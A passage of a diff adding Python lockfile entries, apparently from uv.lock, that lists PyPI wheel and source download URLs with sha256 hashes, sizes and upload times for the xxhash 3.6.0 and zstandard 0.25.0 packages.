+    { url = "https://files.pythonhosted.org/packages/8c/63/8ffc2cc97e811c0ca5d00ab36604b3ea6f4254f20b7bc658ca825ce6c954/xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a", size = 196162, upload-time = "2025-10-02T14:36:06.182Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/77/07f0e7a3edd11a6097e990f6e5b815b6592459cb16dae990d967693e6ea9/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99", size = 213007, upload-time = "2025-10-02T14:36:07.733Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/d8/bc5fa0d152837117eb0bef6f83f956c509332ce133c91c63ce07ee7c4873/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3", size = 200956, upload-time = "2025-10-02T14:36:09.106Z" },
+    { url = "https://files.pythonhosted.org/packages/26/a5/d749334130de9411783873e9b98ecc46688dad5db64ca6e04b02acc8b473/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6", size = 213401, upload-time = "2025-10-02T14:36:10.585Z" },
+    { url = "https://files.pythonhosted.org/packages/89/72/abed959c956a4bfc72b58c0384bb7940663c678127538634d896b1195c10/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93", size = 417083, upload-time = "2025-10-02T14:36:12.276Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/b3/62fd2b586283b7d7d665fb98e266decadf31f058f1cf6c478741f68af0cb/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518", size = 193913, upload-time = "2025-10-02T14:36:14.025Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/9a/c19c42c5b3f5a4aad748a6d5b4f23df3bed7ee5445accc65a0fb3ff03953/xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119", size = 31586, upload-time = "2025-10-02T14:36:15.603Z" },
+    { url = "https://files.pythonhosted.org/packages/03/d6/4cc450345be9924fd5dc8c590ceda1db5b43a0a889587b0ae81a95511360/xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f", size = 32526, upload-time = "2025-10-02T14:36:16.708Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/c9/7243eb3f9eaabd1a88a5a5acadf06df2d83b100c62684b7425c6a11bcaa8/xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95", size = 28898, upload-time = "2025-10-02T14:36:17.843Z" },
+    { url = "https://files.pythonhosted.org/packages/93/1e/8aec23647a34a249f62e2398c42955acd9b4c6ed5cf08cbea94dc46f78d2/xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0", size = 30662, upload-time = "2025-10-02T14:37:01.743Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/0b/b14510b38ba91caf43006209db846a696ceea6a847a0c9ba0a5b1adc53d6/xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296", size = 41056, upload-time = "2025-10-02T14:37:02.879Z" },
+    { url = "https://files.pythonhosted.org/packages/50/55/15a7b8a56590e66ccd374bbfa3f9ffc45b810886c8c3b614e3f90bd2367c/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13", size = 36251, upload-time = "2025-10-02T14:37:04.44Z" },
+    { url = "https://files.pythonhosted.org/packages/62/b2/5ac99a041a29e58e95f907876b04f7067a0242cb85b5f39e726153981503/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd", size = 32481, upload-time = "2025-10-02T14:37:05.869Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/d9/8d95e906764a386a3d3b596f3c68bb63687dfca806373509f51ce8eea81f/xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d", size = 31565, upload-time = "2025-10-02T14:37:06.966Z" },
+]
+
+[[package]]
+name = "zstandard"
+version = "0.25.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" },
+    { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" },
+    { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" },
+    { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" },
+    { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" },
+    { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" },
+    { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" },
+    { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" },
+    { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" },
+    { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" },
+    { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" },
+    { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" },
+    { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" },
+    { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" },
+    { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" },
+    { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" },
+    { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" },
+    { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" },
+    { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" },
+    { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" },
+    { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" },
+    { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" },
